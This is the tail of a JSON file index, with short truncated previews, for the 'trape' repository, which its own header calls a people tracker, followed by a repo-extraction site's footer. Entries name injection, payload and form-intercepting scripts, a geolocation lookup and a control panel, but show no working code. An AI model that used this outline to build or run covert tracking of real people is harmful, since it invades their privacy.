"preview": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\n'''\nThis module generates ANSI character code"
},
{
"path": "core/colorama/ansitowin32.py",
"chars": 9668,
"preview": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nimport re\nimport sys\nimport os\n\nfrom .ansi im"
},
{
"path": "core/colorama/initialise.py",
"chars": 1917,
"preview": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nimport atexit\nimport contextlib\nimport sys\n\nf"
},
{
"path": "core/colorama/win32.py",
"chars": 5365,
"preview": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\n\n# from winbase.h\nSTDOUT = -11\nSTDERR = -12\n\n"
},
{
"path": "core/colorama/winterm.py",
"chars": 6290,
"preview": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nfrom . import win32\n\n\n# from wincon.h\nclass W"
},
{
"path": "core/db.py",
"chars": 11994,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# **\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For "
},
{
"path": "core/dependence/__init__.py",
"chars": 4,
"preview": "pass"
},
{
"path": "core/dependence/urllib2.py",
"chars": 51766,
"preview": "\"\"\"An extensible library for opening URLs using a variety of protocols\n\nThe simplest way to use this module is to call t"
},
{
"path": "core/sockets.py",
"chars": 3313,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For f"
},
{
"path": "core/stats.py",
"chars": 5848,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For f"
},
{
"path": "core/trape.py",
"chars": 17949,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For f"
},
{
"path": "core/user.py",
"chars": 10935,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For f"
},
{
"path": "core/user_objects.py",
"chars": 4464,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# **\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For "
},
{
"path": "core/utils.py",
"chars": 5823,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#**\n#\n#########\n# trape #\n#########\n#\n# trape depends of this file\n# For f"
},
{
"path": "requirements.txt",
"chars": 176,
"preview": "Flask\nFlask-Login\nFlask-Session\nflask-socketio\nflask_socketio\nflask_cors\nitsdangerous\nJinja2\nMarkupSafe\npython-engineio\n"
},
{
"path": "static/css/base-icons.css",
"chars": 44356,
"preview": "@font-face{font-family:'boxicons';src:url('../css/fonts/boxicons.eot?szinet');src:url('../css/fonts/boxicons.eot?#iefixs"
},
{
"path": "static/css/services-icons.css",
"chars": 321,
"preview": "@font-face{font-family:services;src:url(fonts/services.eot?5iun5b);src:url(fonts/services.eot?5iun5b#iefix) format('embe"
},
{
"path": "static/css/styles.css",
"chars": 82361,
"preview": "@import url(https://fonts.googleapis.com/css?family=Niconne|Baloo+Bhaina|Maven+Pro:400,700,900|Lato:300,400,700,900|Ubun"
},
{
"path": "static/js/base.js",
"chars": 21114,
"preview": "var urlServices = [];\nvar Services = [];\nvar latitude = null, longitude = null;\n\nwindow.serverPath = '';\n\nvar socketTrap"
},
{
"path": "static/js/custom.js",
"chars": 120,
"preview": "$(document).ready(function($) {\n /**\n * DO NOT delete this file completely.\n * Your code goes here\n */\n})"
},
{
"path": "static/js/inject.js",
"chars": 778,
"preview": "(function() {\n\tvar paths = [\n\t\t'[HOST_ADDRESS]/static/js/[LIBS_SRC]',\n\t\t'[HOST_ADDRESS]/static/js/[BASE_SRC]',\n\t\t'[HOST_"
},
{
"path": "static/js/login.js",
"chars": 1164,
"preview": "$(document).ready(function() {\n //Hide Incorrect password message\n $(\".TrapeLogin-IncorrectKey\").hide();\n delet"
},
{
"path": "static/js/payload.js",
"chars": 2142,
"preview": "$(document).ready(function($) {\n\n $.getJSON('https://api.ipgeolocation.io/ipgeo?apiKey=' + window.IpInfoApiKey, funct"
},
{
"path": "static/js/trape.js",
"chars": 59248,
"preview": "var user_active = null;\n$(document).ready(function() {\n\n namespace = '/trape';\n var socket = io.connect(location.proto"
},
{
"path": "static/js/vscript.js",
"chars": 1311,
"preview": "$(document).ready(function($) {\n\n $(document).delegate('form', 'submit', function(event) {\n event.preventDefau"
},
{
"path": "templates/404.html",
"chars": 232,
"preview": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\n<title>404 Not Found</title>\n<h1>Not Found</h1>\n<p>The requested"
},
{
"path": "templates/home.html",
"chars": 39497,
"preview": "<!doctype html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n <title>Trape: Control Panel</title>\n <meta h"
},
{
"path": "templates/login.html",
"chars": 4162,
"preview": "<!doctype html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <title>Trape: Login</title>\n <meta http-equiv="
},
{
"path": "trape.py",
"chars": 4885,
"preview": "#!/usr/bin/env python3.8\n# -*- coding: utf-8 -*-\n#**\n#\n##########################################\n# Trape | People track"
},
{
"path": "version.txt",
"chars": 12,
"preview": "version: 2.0"
}
]
About this extraction
This page contains the full source code of the jofpin/trape GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 35 files (399.2 KB), approximately 110.5k tokens, and a symbol index with 281 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.